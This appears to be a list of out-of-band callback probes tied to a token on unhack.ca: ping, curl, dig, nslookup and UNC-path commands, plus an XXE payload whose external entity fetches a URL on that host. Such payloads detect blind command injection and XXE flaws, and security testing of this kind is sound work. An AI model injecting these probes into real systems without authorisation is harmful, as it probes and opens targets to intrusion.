$ ping -c1 -p 003ab1992d66f875af579ab1ffeaef00 unhack.ca
 

$ curl http://unhack.ca/p/3ab1992d66f875af579ab1ffeaef
 

$ dig 3ab1992d66f875af579ab1ffeaef @unhack.ca
 

$ dig 3ab1992d66f875af579ab1ffeaef.ns.unhack.ca
 

C:\> nslookup 3ab1992d66f875af579ab1ffeaef unhack.ca
 

C:\> type \\unhack.ca\3ab1992d66f875af579ab1ffeaef\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3ab1992d66f875af579ab1ffeaef">]>
    <foo>&xxe;</foo>